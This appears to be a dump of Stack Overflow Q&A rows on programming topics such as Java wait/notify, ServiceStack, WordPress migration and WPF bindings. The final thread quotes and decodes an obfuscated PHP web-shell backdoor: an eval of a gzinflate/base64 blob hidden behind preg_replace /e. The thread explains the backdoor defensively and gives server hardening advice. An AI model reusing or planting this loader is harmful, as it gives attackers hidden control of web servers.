4,577,961 | pthread synchronized blocking queue | <p>I'm looking for a recommended implementation of a thread-safe blocking queue (multi producer/consumer) in C using pthread synchronization semantics. </p> | 4,577,976 | 2 | 0 | null | 2011-01-02 10:12:29.82 UTC | 15 | 2012-05-06 21:37:29.067 UTC | 2011-01-02 10:20:55.5 UTC | null | 253,056 | null | 357,024 | null | 1 | 23 | c|thread-safety|queue|pthreads | 23,898 | <p>Try APR queues. It's used by the apache web server and pretty well tested.</p>
<p><a href="http://apr.apache.org/docs/apr-util/1.3/apr__queue_8h.html" rel="noreferrer">http://apr.apache.org/docs/apr-util/1.3/apr__queue_8h.html</a></p> |
26,590,542 | java.lang.IllegalMonitorStateException: object not locked by thread before wait()? | <p>I am using ProgressDialog. I need to stop the thread when a user closes the ProgressDialog. Unfortunately, it is giving an exception.</p>
<p>In inner class:</p>
<pre><code>class UpdateThread extends Thread{
public void run() {
while (true){
count=adapter.getCount();
try {
mHandler.post( new Runnable() {
public void run() {
Log.i(TAG,count+"count");
progressDialog.setMessage(count + "Device found");
}
});
Thread.sleep(300);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
</code></pre>
<p>Oncreate:</p>
<pre><code> updateThread=new UpdateThread();
progressDialog= new ProgressDialog(GroupListActivity.this);
synchronized (this) {
updateThread.start();
}
</code></pre>
<p>Ondismissal:</p>
<pre><code> progressDialog.setOnDismissListener(new DialogInterface.OnDismissListener() {
@Override
public void onDismiss(DialogInterface dialog) {
try {
synchronized (this) {
updateThread.wait(300);
}
} catch (InterruptedException e) {
e.printStackTrace();
}
Log.i(TAG,"Thread is stopped");
}
});
</code></pre> | 26,593,239 | 3 | 4 | null | 2014-10-27 15:04:34.07 UTC | 8 | 2022-05-28 18:37:56.557 UTC | 2022-05-28 18:37:56.557 UTC | null | 15,368,978 | null | 2,578,800 | null | 1 | 49 | java|android|multithreading | 103,379 | <p>This is wrong:</p>
<pre><code>synchronized(foo) {
foo.wait();
}
</code></pre>
<p>The problem is, what's going to wake this thread up? That is to say, how do you <em>guarantee</em> that the other thread won't call <code>foo.notify()</code> <em>before</em> the first thread calls <code>foo.wait()</code>? That's important because the foo object will not remember that it was notified if the notify call happens first. If there's only one notify(), and if it happens before the wait(), then the wait() will never return.</p>
<p>Here's how wait and notify were meant to be used:</p>
<pre><code>private Queue<Product> q = ...;
private Object lock = new Object();
void produceSomething(...) {
Product p = reallyProduceSomething();
synchronized(lock) {
q.add(p);
lock.notify();
}
}
void consumeSomething(...) {
Product p = null;
synchronized(lock) {
while (q.peek() == null) {
lock.wait();
}
p = q.remove();
}
reallyConsume(p);
}
</code></pre>
<p>The most important things to to note in this example are that there is an explicit test for the condition (i.e., q.peek() != null), and that nobody changes the condition without locking the lock.</p>
<p>If the consumer is called first, then it will find the queue empty, and it will wait. There is no moment when the producer can slip in, add a Product to the queue, and then notify the lock until the consumer is ready to receive that notification.</p>
<p>On the other hand, if the producer is called first, then the consumer is guaranteed not to call wait().</p>
<p>The loop in the consumer is important for two reasons: One is that, if there is more than one consumer thread, then it is possible for one consumer to receive a notification, but then another consumer sneaks in and steals the Product from the queue. The only reasonable thing for the fist consumer to do in that case is wait again for the next Product. The other reason that the loop is important is that the Javadoc says Object.wait() is allowed to return even when the object has not been notified. That is called a "spurious wakeup", and the correct way to handle it is to go back and wait again.</p>
<p>Also note: The lock is <code>private</code> and the queue is <code>private</code>. That guarantees that no other compilation unit is going to interfere with the synchronization in this compilation unit.</p>
<p>And note: The lock is a different object from the queue itself. That guarantees that synchronization in this compilation unit will not interfere with whatever synchronization that the Queue implementation does (if any).</p>
<hr>
<p>NOTE: My example re-invents a wheel to prove a point. In real code, you would use the put() and take() methods of an ArrayBlockingQueue which would take care of all of the waiting and notifying for you.</p> |
10,040,680 | ServiceStack and returning a stream | <p>I have just started to use ServiceStack which is an amazing library.</p>
<p>However, I have a business requirement where we must return xml and json where the xml must be in specific format.</p>
<p>For example we have existing customers that expect xml of the format:</p>
<pre><code><service name="service1" type="audio" .../>
</code></pre>
<p>so basically a bunch of attributes.</p>
<p>I know that ServiceStack uses concepts of DTOs and uses the DataContractSerializer which returns xml elements rather than in the form above with xml attributes.</p>
<p>I still want to use the DTOs for requests (passing in application/xml or application/json in the Accept header) and I can then create my own xml strings or json strings and then return them as :</p>
<pre><code>string result = "....xml or json string...";
return new MemoryStream(Encoding.UTF8.GetBytes(result));
</code></pre>
<p>where the result string could be an xml string or a json string.</p>
<p>I noticed in fiddler the response Content-Type as text/html.</p>
<p>With the approach I am using, am I violating any REST principles? Will there be issues with the Content-Type as it is currently (text/html)?</p>
<p>If I do use this approach it does solve the business requirements.</p>
<p><strong>Edit</strong></p>
<p>I found that I can return a httpResult as :</p>
<pre><code>return new HttpResult(
new MemoryStream(Encoding.UTF8.GetBytes(result)), "application/xml");
</code></pre>
<p>which gives the correct content-type.</p>
<p>So, is this the right way or will I have issues if I go down this route?</p> | 10,047,416 | 1 | 0 | null | 2012-04-06 07:49:39.25 UTC | 8 | 2012-04-06 18:10:21.71 UTC | 2012-04-06 09:10:55.717 UTC | null | 126,483 | null | 126,483 | null | 1 | 12 | servicestack | 11,060 | <p>Yes returning an IHttpResult will allow you to control the exact payload, Content-Type and other HTTP Headers as you wish.</p>
<p>Also you're not limited to returning a stream, i.e. you can use the HttpResult to return an xml string with a different Content-Type.</p>
<p>Here are some links that better demonstrate what's possible with ServiceStack return types:</p>
<ul>
<li><a href="https://stackoverflow.com/questions/6245616/does-servicestack-support-binary-responses/6249042#6249042">How ServiceStack supports plain C# string, binary, stream, IStreamWriter, etc return types</a></li>
<li><a href="https://stackoverflow.com/questions/8211930/servicestack-rest-api-and-cors/8215777#8215777">An example of using CORS to set global or per-service custom HTTP Headers</a></li>
<li><a href="https://gist.github.com/2321702" rel="nofollow noreferrer">Different ways of returning an Image from a ServiceStack service</a></li>
<li><a href="https://stackoverflow.com/questions/8199493/is-it-possible-to-serve-html-pages-with-servicestack/8200056#8200056">Multiple options for returning HTML</a></li>
</ul>
<p>You can also return a static File using a FileInfo object, with an optional parameter to return the file as an attachment which will prompt the user to download the file rather than attempt to view it in the browser with:</p>
<pre><code>return new HttpResult(new FileInfo("~/static-response.xml"), asAttachment:true);
</code></pre> |
9,752,779 | "RVM is not a function" error | <p>RVM is installed on my machine (running Mac OSX 10.6.8), correctly and it runs fine. The odd thing is that to run it, I have to use <code>source ~/.rvm/scripts/rvm</code> for every new session. I tried making a symlink from it to <code>/opt/local/bin/rvm</code>, but when it runs it does nothing. I also tried creating a symlink from <code>~/.rvm/bin/rvm</code> to <code>/opt/local/bin/rvm</code>, and when I run <code>rvm</code> in the Terminal it displays the help page, as expected. But when I try <code>rvm use some_ruby_version</code> it always displays "RVM is not a function, selecting rubies with 'rvm use ...' will not work.". How can I fix this?</p>
<p>My goal is to get it to the the point that I <em>don't</em> have to type the source command every session, and for some reason <code>~/.profile</code> does not execute.</p> | 9,753,613 | 10 | 1 | null | 2012-03-17 18:49:31.897 UTC | 12 | 2015-10-20 20:07:15.207 UTC | null | null | null | null | 1,231,925 | null | 1 | 29 | ruby|rvm | 30,171 | <p>I didn't understand what <code>~/.profile</code> does correctly; I needed to change <code>~/.bash_profile</code> instead. Problem solved!</p> |
9,896,950 | how does asp.net mvc relate a view to a controller action? | <p>I have opened a sample ASP.NET MVC project.</p>
<p>In <code>HomeController</code> I have created a method (action) named <code>MethodA</code></p>
<pre><code>public ActionResult MethodA()
{
return View();
}
</code></pre>
<p>I have right clicked on <code>MethodA</code> and created a new view called <code>MethodA1</code></p>
<p>Re-did it and created a new view called <code>MethodA2</code>.</p>
<ol>
<li><p>How is this magical relationship done? I looked for the config to tell the compiler that views <code>MethodAX</code> are related to action <code>MethodA</code>, but found none.</p></li>
<li><p>What view will the controller return when <code>MethodA</code> is called?</p></li>
</ol> | 9,896,981 | 4 | 2 | null | 2012-03-27 20:13:40.573 UTC | 22 | 2018-07-18 14:28:50.323 UTC | 2013-09-18 20:08:52.43 UTC | null | 1,017,257 | null | 311,130 | null | 1 | 43 | c#|asp.net-mvc | 36,730 | <p>The convention is that if you don't specify a view name, the corresponding view will be the name of the action. So:</p>
<pre><code>public ActionResult MethodA()
{
return View();
}
</code></pre>
<p>will render <code>~/Views/ControllerName/MethodA.cshtml</code>.</p>
<p>But you could also specify a view name:</p>
<pre><code>public ActionResult MethodA()
{
return View("FooBar");
}
</code></pre>
<p>and now the <code>~/Views/ControllerName/FooBar.cshtml</code> view will be rendered. </p>
<p>Or you could even specify a fully qualified view name which is not inside the views folder of the current controller:</p>
<pre><code>public ActionResult MethodA()
{
return View("~/Views/Foo/Baz.cshtml");
}
</code></pre>
<p>Now obviously all this assumes Razor as view engine. If you are using WebForms, replace <code>.cshtml</code> with <code>.aspx</code> or <code>.ascx</code> (if you are working with partials).</p>
<p>For example if there is no view it will even tell you where and in what order is looking for views:</p>
<p><img src="https://i.stack.imgur.com/VZIdU.png" alt="enter image description here"></p>
<p>Remember: ASP.NET MVC is all about convention over configuration.</p> |
43,973,319 | Why does "[x]y" display incorrectly in the RTL direction? | <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-html lang-html prettyprint-override"><code><div style="direction: rtl">
[x]y
</div></code></pre>
</div>
</div>
</p>
<p>You can see HTML text <code>[x]y</code> displays as <code>x]y]</code>.</p>
<p>What is the reason of that result?</p>
<p>PS: I get that result in Chrome 56.0.2924.87 (64-bit).</p> | 43,974,442 | 5 | 7 | null | 2017-05-15 07:05:27.52 UTC | 5 | 2017-06-26 17:07:01.59 UTC | 2017-05-19 08:05:33.25 UTC | null | 1,291,716 | null | 1,291,716 | null | 1 | 34 | html|css|right-to-left | 3,248 | <p>It is rendered correctly, i.e. according to specifications. You have asked for right-to-left layout. The rendering first takes the <code>[</code> character. It is directionally neutral and therefore rendered in a RTL run rightmost and mirrored (so it looks like <code>]</code>). Next, to the left of it comes <code>x]y</code> in that order, since the Latin letters <code>x</code> and <code>y</code> have inherent left-to-right directionality and the neutral <code>]</code> gets its directionality from them.<br>
The conclusions to be drawn depends on the rendering you want and your reasons for using right-to-left directionality. </p> |
9,827,164 | Wordpress keeps redirecting to install-php after migration | <p>Here's my situation.
I have followed the exact instructions on wordpress codex page about moving a site to another server.
Here are the step's i have taken.</p>
<ol>
<li>Export a copy of my database</li>
<li>Make a new database in the new server</li>
<li>Import the database I exported earlier</li>
<li>Upload a copy of my Wordpress files via Ftp</li>
<li>Use this <a href="http://interconnectit.com/124/search-and-replace-for-wordpress-databases/" rel="noreferrer">script</a> to change all my local url's to new one's </li>
<li>Make changes to my wp-config.php file according to the new server(I did not forget table prefix. Although it has some uppercase characters in it )</li>
</ol>
<p>And then when I try to open my site on the new location it just directs me to wp-admin/install.php
Now just to make the scenario clearer: The destination folder(on live server) is a sub directori in a public_html folder which already has another wordpress install inside it(I'm saying this just in case it should matter)</p>
<p>My .htaccess looks like this</p>
<pre><code> # BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /subDirectoryName/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /subDirectoryName/index.php [L]
</IfModule>
# END WordPress
</code></pre>
<p>I have tried checking and repairing my tables via phpMyadmin but everything seems to be ok there and has no effect on the problem.</p>
<p>I also tried emptying the database on the live server and go through with the install. And it installs with no problems and everything works fine but, well I have no use for another clean install. But I think this at least rules out any trouble with wp-config file.
I'm using Wordpress Version 3.3.1</p>
<p>So I guess the big question I'm left with is:
<strong>Why isn't wordpress recognizing my Install after migration?</strong> </p>
<p>Any help much appreciated! </p> | 9,836,002 | 16 | 0 | null | 2012-03-22 17:13:49.993 UTC | 11 | 2021-08-04 11:28:09.8 UTC | 2012-03-22 17:27:57.113 UTC | null | 741,680 | null | 741,680 | null | 1 | 74 | wordpress|migration|installation|relocation | 115,080 | <p>Well finally I have solved the problem. And surprise, surprise It was the freaking UPPERCASE letter in my table prefix. I had it this way in my wp-config file wp_C5n but for some reason most of the tables got a prefix wp_c5n. But not all. So what id did was I changed my table prefix in wp_config file to all lowercase and then went through all the tables by hand via phpMyadmin to see If there's any uppercase tables left. There where about 3. They were inside usermeta table and inside options table. Now finally everything is working.
Did a quick search through wordpress codex but did not find anything mentioning not to use uppercase characters.</p> |
9,952,649 | Convert Mongoose docs to json | <p>I returned mongoose docs as json in this way:</p>
<pre><code>UserModel.find({}, function (err, users) {
return res.end(JSON.stringify(users));
}
</code></pre>
<p>However, user.__proto__ was also returned. How can I return without it? I tried this but not worked:</p>
<pre><code>UserModel.find({}, function (err, users) {
return res.end(users.toJSON()); // has no method 'toJSON'
}
</code></pre> | 14,129,972 | 10 | 0 | null | 2012-03-31 03:02:12.903 UTC | 30 | 2022-07-06 21:46:53.987 UTC | 2012-03-31 09:28:10.75 UTC | null | 911,164 | null | 911,164 | null | 1 | 91 | json|node.js|object|document|mongoose | 150,329 | <p>You may also try mongoosejs's <a href="http://mongoosejs.com/docs/api.html#query_Query-lean" rel="nofollow noreferrer">lean()</a> :</p>
<pre><code>UserModel.find().lean().exec(function (err, users) {
return res.end(JSON.stringify(users));
});
</code></pre> |
11,462,211 | Jinja-like JS templating language | <p>I really like django/jinja2 templating languages. Their syntax is extremely simple and yet is highly versatile. Is there anything similar to that in both syntax and capability in javascript, or if not both, at least in the capability.</p>
<p>I looked at underscore, jquery templates, and mustache templates, and none of them seemed to be what I am looking for.</p>
<p><strong>Additional notes</strong></p>
<p>I think out of all libs (I looked at) mustache is the best but I don't really like the syntax. For example this mustache template</p>
<pre><code>{{#people}}
{{name}}
{{/people}}
{{^people}}
No people :(
{{/people}}
</code></pre>
<p>compared to django's templates:</p>
<pre><code>{% for person in people %}
{{ person.name }}
{% empty %}
No people :(
{% endfor %}`
</code></pre>
<p>Also the same thing for applying filters. For example:</p>
<pre><code>{{#filter}}{{value}}{{/filter}}
</code></pre>
<p>vs</p>
<pre><code>{{ value|filter }}
</code></pre>
<p>I think django/jinja2 approach is more clean and just feels more natural.</p>
<p>So, is there any js library which does templates very similar to django/jinja? If not, I guess I have to live with muschache (or maybe some other good js library - I am open to suggesstions), but it just doesn't feel right.</p>
<p>Thank you.</p> | 11,919,800 | 8 | 3 | null | 2012-07-12 23:33:13.33 UTC | 10 | 2020-02-14 05:35:06.6 UTC | 2017-05-13 16:44:37.713 UTC | null | 42,223 | null | 485,844 | null | 1 | 27 | javascript|jquery|jinja2|template-engine|language-comparisons | 13,315 | <p>Link from @pradeek's comment. It is a port of jinja to js.</p>
<p><a href="https://github.com/ericclemmons/jinja.js" rel="nofollow">https://github.com/ericclemmons/jinja.js</a></p> |
11,734,470 | How does one use Resources.getFraction()? | <p>How do I store a fractional value like <code>3.1416</code> in resources? What to write in the XML and how to retrieve it in Java code?</p>
<p>The documentation for <a href="http://developer.android.com/reference/android/content/res/Resources.html#getFraction%28int,%20int,%20int%29" rel="noreferrer"><code>getFraction()</code></a> states:</p>
<blockquote>
<p><code>public float getFraction (int id, int base, int pbase)</code></p>
<p>Retrieve a fractional unit for a particular resource ID.</p>
<p><strong>Parameters</strong><br>
<code>base</code> The base value of this fraction. In other words, a standard
fraction is multiplied by this value.<br>
<code>pbase</code> The parent base value of
this fraction. In other words, a parent fraction (nn%p) is multiplied
by this value.</p>
<p><strong>Returns</strong><br>
Attribute fractional value multiplied by the
appropriate base value</p>
</blockquote>
<p><a href="https://stackoverflow.com/a/6021880/165674">This answer</a> shows a simple example of percentages without going into the details of what the arguments mean.</p> | 17,027,898 | 1 | 0 | null | 2012-07-31 06:39:19.313 UTC | 4 | 2014-05-02 06:45:00.59 UTC | 2017-05-23 10:30:01.433 UTC | null | -1 | null | 165,674 | null | 1 | 36 | android|android-resources | 14,206 | <p>You specify fractions in XML as so:</p>
<pre><code> <item name="fraction" type="fraction">5%</item>
<item name="parent_fraction" type="fraction">2%p</item>
</code></pre>
<p>Where 5% would be 0.05 when actually used.</p>
<p>Then:</p>
<pre><code>// 0.05f
getResources().getFraction(R.fraction.fraction, 1, 1);
// 0.02f
getResources().getFraction(R.fraction.parent_fraction, 1, 1);
// 0.10f
getResources().getFraction(R.fraction.fraction, 2, 1);
// 0.10f
getResources().getFraction(R.fraction.fraction, 2, 2);
// 0.04f
getResources().getFraction(R.fraction.parent_fraction, 1, 2);
// 0.04f
getResources().getFraction(R.fraction.parent_fraction, 2, 2);
</code></pre>
<p>As you can see, depending on the type of fraction, the <code>getFraction</code> method multiples the values accordingly.
If you specify a parent fraction (<code>%p</code>), it uses the second argument (<code>pbase</code>), ignoring the first.
On the other hand, specifying a normal fraction, only the <code>base</code> argument is used, multiplying the fraction by this.</p> |
11,633,792 | Hide soft keyboard after dialog dismiss | <p>I want to hide soft keyboard after AlertDialog dismiss, but it's still visible. Here is my code:</p>
<pre class="lang-java prettyprint-override"><code>alert = new AlertDialog.Builder(MyActivity.this);
imm = (InputMethodManager)getSystemService(Context.INPUT_METHOD_SERVICE);
alert.setOnDismissListener(new DialogInterface.OnDismissListener() {
@Override
public void onDismiss(DialogInterface dialog) {
imm.hideSoftInputFromWindow(getCurrentFocus().getWindowToken(), 0);
}
});
</code></pre> | 20,582,828 | 8 | 4 | null | 2012-07-24 15:06:34.117 UTC | 13 | 2020-11-05 22:13:17.62 UTC | null | null | null | null | 1,108,484 | null | 1 | 48 | android|keyboard|hide|android-softkeyboard|soft-keyboard | 36,975 | <p>In <strong>Manifest xml</strong> </p>
<pre><code>android:windowSoftInputMode="stateAlwaysHidden"
</code></pre>
<blockquote>
<p>It will automatically hide soft keyboard on Dismiss of <code>Dialog</code></p>
</blockquote> |
3,695,856 | Android SlidingDrawer from top? | <p>Is there any way to make the drawer slide from top to bottom?</p> | 3,695,881 | 4 | 1 | null | 2010-09-12 17:48:45.63 UTC | 16 | 2016-10-08 19:00:49.627 UTC | null | null | null | null | 379,594 | null | 1 | 27 | android | 33,314 | <p>The default <code>SlidingDrawer</code> class doesn't allow this. You can use the <code>Panel</code> class from here to get something very similar though:
<strike><a href="http://code.google.com/p/android-misc-widgets/" rel="nofollow noreferrer">http://code.google.com/p/android-misc-widgets/</a></strike></p>
<p><a href="http://www.ohloh.net/p/android-misc-widgets" rel="nofollow noreferrer">http://www.ohloh.net/p/android-misc-widgets</a></p> |
3,668,654 | RelativeSource binding from a ToolTip or ContextMenu | <p>What am I doing wrong here?:</p>
<pre><code> <GridViewColumn>
<GridViewColumn.CellTemplate>
<DataTemplate>
<Button>
<Button.ToolTip>
<TextBlock Text="{Binding Path=Title, RelativeSource={RelativeSource AncestorType=Window}}" />
</code></pre>
<p>That's just a simplified example, that doesn't work anyway :)
Actually I need to get a value from another property that is in scope of the Window's DataContext.</p>
<p>Help me pls.</p> | 3,668,699 | 4 | 0 | null | 2010-09-08 14:18:56.777 UTC | 13 | 2017-06-24 21:45:53.443 UTC | 2010-09-08 15:43:54.943 UTC | null | 116,395 | null | 116,395 | null | 1 | 36 | wpf|xaml|binding|relativesource | 21,886 | <p>This is tricky because ToolTip is not part of the VisualTree. <a href="http://blog.jtango.net/binding-to-a-menuitem-in-a-wpf-context-menu" rel="noreferrer">Here</a> you see a cool solution for the same problem with ContextMenus. The same way you can go for the ToolTip.</p>
<p><strong>UPDATE</strong><br>
Sadly the link is gone and I have not found the referenced article anymore.<br>
As far as I remember, the referenced blog has shown how to bind to a DataContext of another VisualTree, which is often necessay when binding from a ToolTip, a ContextMenu or a Popup.</p>
<p>A nice way to do this, is to provide the desired instance (e.g. ViewModel) within the Tag-property of the PlacementTarget. The following example does this for accessing a Command-instance of a ViewModel:</p>
<pre><code><Button Tag="{Binding DataContext,RelativeSource={RelativeSource Mode=Self}}">
<Button.ContextMenu>
<ContextMenu>
<MenuItem Command="{Binding PlacementTarget.Tag.DesiredCommand,RelativeSource={RelativeSource Mode=FindAncestor,AncestorType=ContextMenu}}" .../>
<ContextMenu>
</Button.ContextMenu>
</Button>
</code></pre>
<p><em>I have not tested it and its a long time I did this the last time. Please make a comment if it does not work for you.</em></p>
<p><strong>UPDATE 2</strong></p>
<p>As the original link that this answer was written about is gone, I hit archive.org and <a href="http://web.archive.org/web/20101207234603/http://blog.jtango.net/2008/10/29/binding-to-a-menuitem-in-a-wpf-context-menu/" rel="noreferrer">found the original blog entry</a>. Here it is, verbatim from the blog:</p>
<blockquote>
<p>Because a ContextMenu in WPF does not exist within the visual tree of
your page/window/control per se, data binding can be a little tricky.
I have searched high and low across the web for this, and the most
common answer seems to be “just do it in the code behind”. WRONG! I
didn’t come in to the wonderful world of XAML to be going back to
doing things in the code behind.</p>
<p>Here is my example to that will allow you to bind to a string that
exists as a property of your window.</p>
<pre><code>public partial class Window1 : Window
{
public Window1()
{
MyString = "Here is my string";
}
public string MyString
{
get;
set;
}
}
<Button Content="Test Button"
Tag="{Binding RelativeSource={RelativeSource AncestorType={x:Type Window}}}">
<Button.ContextMenu>
<ContextMenu DataContext="{Binding Path=PlacementTarget.Tag,
RelativeSource={RelativeSource Self}}" >
<MenuItem Header="{Binding MyString}"/>
</ContextMenu>
</Button.ContextMenu>
</Button>
</code></pre>
<p>The important part is the Tag on the button(although you could just as
easily set the DataContext of the button). This stores a reference to
the parent window. The ContextMenu is capable of accessing this
through it’s PlacementTarget property. You can then pass this context
down through your menu items.</p>
<p>I’ll admit this is not the most elegant solution in the world.
However, it beats setting stuff in the code behind. If anyone has an
even better way to do this I’d love to hear it.</p>
</blockquote> |
3,328,235 | How does this giant regex work? | <p>I recently found the code below in one of my directories, in a file called <code>doc.php</code>. The file functions or links to a file manager. It's quite nicely done. Basically, it lists all the files in the current directory, and it lets you change directories.</p>
<p>It had access to all my files (add, rename, info, delete...). I don't remember installing it. I deleted it, deleted a few suspicious and large files simple called <code>core</code> and reset all my passwords.</p>
<p>Googling some of the code snippets leads to a lot of results, most of them not very informative... <a href="http://www.the16types.info/vbulletin/site-discussion/31050-firefox-reporting-the16types-attack-site-3.html#post663577" rel="noreferrer">However, here is a more informative result.</a></p>
<p>However, I'm not sure I understand how this thing works. I have a few questions:</p>
<ol>
<li><strong>What possible ways could this have gotten on my site / directory?</strong></li>
<li><p><strong>How can I trace back what the results of the preg_replace look like?</strong></p>
<pre><code><?php
$auth_pass = "";
$color = "#df5";
$default_action = "FilesMan";
$default_charset = "Windows-1251";
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/O7ddnZ++7H+Ctu/tq/+jMvqywCvv6P39j8FOaR264O3KnccTazAlD57ZsvQqCke9aVWad+vNwhg/vTo9eBDE+eU7XCftj79oN8fU3Zzpwb/DpxJn0fPhY2eKoh0HoOv1xWS/CiVjJwccKh8EfD2iO4nAWRMtorsqMbK3dZkPHj9ykFvJn7DoDNyxT7o1Grc6e1J+woyBmB8F8OrAlZfLHvfFi7dPd//wN/t+J3Cjygmk3ip0wLmOeHTcMg7AburMgjL3pqFynr97U60ZuXLZ5sh+M7OrRh7dvzUT43CWAyK6m8k2cm6574/bnMZYXexNXgkAyvXd9b+LF5eTjxBl5/e4f8yB2o244nyKQSB64Q2/qlm1ov9PD4yO7yuxmbZMqjU08SucezfplwQmPhvNpH4lgn06PoS+8WeQ70diFHiGW4ECPQjeeh1P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rtwfKptCX7w+cRXeQ5guAp6xJDgecS3L5/Hs8He7oLK+1yHoVZvW5pmbtzoiHl5+ZUWeKu3dnY2Hc60SyIvDC9buzeb2SIyEfr+FVw5R/eEk/sAjE0ypUW33g0YqRvRmJ3P3NC/TLQtGwj/Hj0jWeFVT4hDaRs2G5ub/0xt7LMLLhLB19wHVbAvK8hdJoxgTCtVGRa7dbHYsfy6CieO4toK/0PtBCTxNj/Zf3d8tt/dffnyBMQGVLiw/2TbqT1h5uBDDyWQ2JxjxOVqKVYmsou2jN48pODXaOq3k71VGkMgAj0qBKIe23mhtlgqRPaiumPc1VyGEjNRmxfpq19yXeyRoyW1QL21EU9mG71ZbeZbVX1tkTGUgznaovNwCBb2LktysLQKgjU6GwP3egN5izU7PzTYD5Z57mAKbIg9ibZgzSLmzG/Yv9kodGeME0UyOcps1tbyevXz6tUX9TIksvuq1s+tmmVc/PdX17VfUNdvEk9P9rRr6ndyon2WHOMK8UfWnGz5cas6G8+69FauVHkafhE3/koI8apAgCADBEYuBo4QqRhLkkJJYtIOBpIc4bmVCjHJNUt6eCg3BAGeLq9x9Gt4uJYexm3ORT3UDtmLVhx5X4qm/OcBsLu8rUirk72Onl5tBjNRCty4s8Uh1VQKxLg+xQC0T93+IV4sxw/c08okR1wKtoyadLX6Dl6tDg3WxVxFoHhkj6Yn/xc='\x29\x29\x29\x3B",".");
?>
</code></pre></li>
</ol>
<hr>
<p>Edit:</p>
<p>Here is the unobfuscated PHP code: <a href="http://pastie.org/1058996" rel="noreferrer">http://pastie.org/1058996</a> </p> | 3,328,247 | 4 | 2 | null | 2010-07-25 06:01:55.467 UTC | 68 | 2019-08-12 20:13:36.893 UTC | 2019-08-12 20:13:36.893 UTC | null | 183,528 | null | 186,636 | null | 1 | 137 | php|regex|security|cryptography | 29,693 | <p>This is not entirely a regular expression. The regex is <code>/.*/</code>, which basically means "match everything". The <code>/e</code> Modifier however <code>eval()</code>'s the code in the next parameter. In fact this is a way for someone to hide code. The following proof that this is a <strong>backdoor</strong>, and you must <strong>remove it immediately</strong>. Your system maybe compromised further. </p>
<p>This is what the backdoor looks like when it is accessed:</p>
<p><a href="https://i.stack.imgur.com/jA5mK.gif" rel="noreferrer"><img src="https://i.stack.imgur.com/jA5mK.gif" alt="Server security information"></a></p>
<p>the hex part of the code:</p>
<p><code>\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28</code></p>
<p>is acutally:
<code>eval(gzinflate(base64_decode(</code></p>
<p>This is the code will print out the source code for this backdoor. However i would not execute the resulting PHP code, unless it is on a disposable virtual machine. </p>
<pre><code><?php
print gzinflate(base64_decode("7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/O7ddnZ++7H+Ctu/tq/+jMvqywCvv6P39j8FOaR264O3KnccTazAlD57ZsvQqCke9aVWad+vNwhg/vTo9eBDE+eU7XCftj79oN8fU3Zzpwb/DpxJn0fPhY2eKoh0HoOv1xWS/CiVjJwccKh8EfD2iO4nAWRMtorsqMbK3dZkPHj9ykFvJn7DoDNyxT7o1Grc6e1J+woyBmB8F8OrAlZfLHvfFi7dPd//wN/t+J3Cjygmk3ip0wLmOeHTcMg7AburMgjL3pqFynr97U60ZuXLZ5sh+M7OrRh7dvzUT43CWAyK6m8k2cm6574/bnMZYXexNXgkAyvXd9b+LF5eTjxBl5/e4f8yB2o244nyKQSB64Q2/qlm1ov9PD4yO7yuxmbZMqjU08SucezfplwQmPhvNpH4lgn06PoS+8WeQ70diFHiGW4ECPQjeeh1PmRV3OKDLxOWccQD8r2ykMNnYcB2uxPNRA3iNo9kel7vvj0zNgwgwJlIBwAKYIXUTB22DkTcuctoHnlq3tPjCIG3a2gfUmbOLG42DQBr6KO++dKFoE4aDFtr3p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W33g0YqRvRmJ3P3NC/TLQtGwj/Hj0jWeFVT4hDaRs2G5ub/0xt7LMLLhLB19wHVbAvK8hdJoxgTCtVGRa7dbHYsfy6CieO4toK/0PtBCTxNj/Zf3d8tt/dffnyBMQGVLiw/2TbqT1h5uBDDyWQ2JxjxOVqKVYmsou2jN48pODXaOq3k71VGkMgAj0qBKIe23mhtlgqRPaiumPc1VyGEjNRmxfpq19yXeyRoyW1QL21EU9mG71ZbeZbVX1tkTGUgznaovNwCBb2LktysLQKgjU6GwP3egN5izU7PzTYD5Z57mAKbIg9ibZgzSLmzG/Yv9kodGeME0UyOcps1tbyevXz6tUX9TIksvuq1s+tmmVc/PdX17VfUNdvEk9P9rRr6ndyon2WHOMK8UfWnGz5cas6G8+69FauVHkafhE3/koI8apAgCADBEYuBo4QqRhLkkJJYtIOBpIc4bmVCjHJNUt6eCg3BAGeLq9x9Gt4uJYexm3ORT3UDtmLVhx5X4qm/OcBsLu8rUirk72Onl5tBjNRCty4s8Uh1VQKxLg+xQC0T93+IV4sxw/c08okR1wKtoyadLX6Dl6tDg3WxVxFoHhkj6Yn/xc="));
?>
</code></pre>
<p><strong>How to lock down your server:</strong></p>
<p>There are a number of ways this could have gotten on your site. Most likely you have been hacked using <a href="http://inj3ct0r.com/" rel="noreferrer">Exploit Code</a> because one of your web applications is out of date. Try updating everything, including libraries. Change passwords for everything, especially FTP, although should be using sftp or ftps.</p>
<p>If you control your MySQL server make sure your web application's MySQL user account <strong>is not</strong> <code>root</code>, and make sure you remove MySQL <code>FILE</code> privileges from the account. You should also go a step further and do a <code>chmod 500 -R /path/to/web/root</code> and do a <code>chown www-data -R /path/to/web/root</code> www-data is a common user for apache, but it might be differnt for your system try running <code><?php system("whoami")?></code> to figure out the user account. </p>
<p>Next run <a href="http://phpsec.org/projects/phpsecinfo/" rel="noreferrer">phpsecinfo</a>. Modify your php.ini or .htaccess and remove all RED, and try and remove as much yellow as possible. </p> |
